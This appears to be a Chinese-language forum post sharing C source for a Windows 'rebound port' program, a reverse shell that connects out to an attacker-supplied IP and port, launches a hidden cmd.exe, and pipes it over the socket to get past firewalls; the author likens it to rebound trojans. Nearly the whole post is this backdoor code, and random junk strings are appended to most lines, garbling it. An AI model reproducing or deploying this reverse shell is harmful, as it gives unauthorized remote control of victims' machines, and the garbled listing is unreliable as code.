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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f[XsnN2  
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/* ============================== aAi "  
Rebound port in Windows NT U+4W9zhwo  
By wind,2006/7 M^6!{c=MIi  
===============================*/ C/JFb zVx  
#include ^e~m`R2fHh  
#include b}-/~l-:  
9kO}054  
#pragma comment(lib,"wsock32.lib") vl"{ovoC  
([#4H3uO-  
void OutputShell(); p]]*H2UD  
SOCKET sClient; W3gBLotdg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vlf=gP  
s?9$o Qq1  
void main(int argc,char **argv) \* /R6svz  
{ g'pB<?'E'  
WSADATA stWsaData; S9;:)  
int nRet; 9aa cW  
SOCKADDR_IN stSaiClient,stSaiServer; aCZ7G % Y  
d1{%z\u a  
if(argc != 3) NDo>"in  
{ `,7;2ZG~O  
printf("Useage:\n\rRebound DestIP DestPort\n"); {[[j.)  
return; g,O3\jjQ  
} z]V%&f  
C]f`  
WSAStartup(MAKEWORD(2,2),&stWsaData); uO{'eT~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FWb`F&  
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stSaiClient.sin_family = AF_INET; < cUaIb;(4  
stSaiClient.sin_port = htons(0); qJZ:\u8oO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D&]dlY@*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WWtksi,  
{ km=d'VvnI  
printf("Bind Socket Failed!\n"); 2+'4m#@)  
return; 79y'PFSms  
} j-n-2:Q  
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stSaiServer.sin_family = AF_INET; VM"z6@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^;DbIo\6H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); })TXX7[h  
s6HfN'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WW.amv/[a  
{ E!6Nf[  
printf("Connect Error!"); M!Wjfq ^~  
return; a(|,KWHn  
} e"u89acp  
OutputShell(); ,b!]gsds  
} D/<;9hw  
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void OutputShell() eN Y?  
{ W>2m %q U  
char szBuff[1024]; AfqthI$*m  
SECURITY_ATTRIBUTES stSecurityAttributes; ?]Wg{\NC6  
OSVERSIONINFO stOsversionInfo; =.9uuF:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /)LI1\ o  
STARTUPINFO stStartupInfo; hL(zVkYI  
char *szShell; IuOY.c2.u  
PROCESS_INFORMATION stProcessInformation; w.9'TR  
unsigned long lBytesRead; m{ VC1BkZ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iL\eMa  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QBwgI>zfS"  
stSecurityAttributes.lpSecurityDescriptor = 0; j{: >"6  
stSecurityAttributes.bInheritHandle = TRUE; _N2tf/C&=  
/2jw]ekQ'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0<4Sw j3s7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m! H7;S-(  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p(`?y:.3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fd&=\~1_$  
stStartupInfo.wShowWindow = SW_HIDE; YjTA+1}  
stStartupInfo.hStdInput = hReadPipe; n+94./Mh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t^KoqJ  
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GetVersionEx(&stOsversionInfo); go[(N6hN  
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switch(stOsversionInfo.dwPlatformId) Vv<Tjr  
{ hn p-x3  
case 1: ??g`c=R!V  
szShell = "command.com"; hrZ=8SrW  
break; se,0Rvkt  
default: 8Z1pQx-P2C  
szShell = "cmd.exe"; Kulh:d:w  
break; HyX:4f|]'  
} q7-.-k<dQ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lr;PESV  
.C7;T'>!  
send(sClient,szMsg,77,0); 25-5X3(>j=  
while(1) |v?*}6:a  
{ e/nc[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :f|X$> b  
if(lBytesRead) dLnu\bSF  
{ ,f2tG+P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w=K!U]  
send(sClient,szBuff,lBytesRead,0); tMnwY'  
} Rd|xw%R\mb  
else @!MhVNS_<  
{ U%)m [zAw  
lBytesRead=recv(sClient,szBuff,1024,0); :Tu%0="ye  
if(lBytesRead<=0) break; @c{rqa v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V/@?KC0B5  
} ,U?W  
} 6~b]RZe7  
QZ:xG:qyk;  
return; 0A. PfqYi  
}
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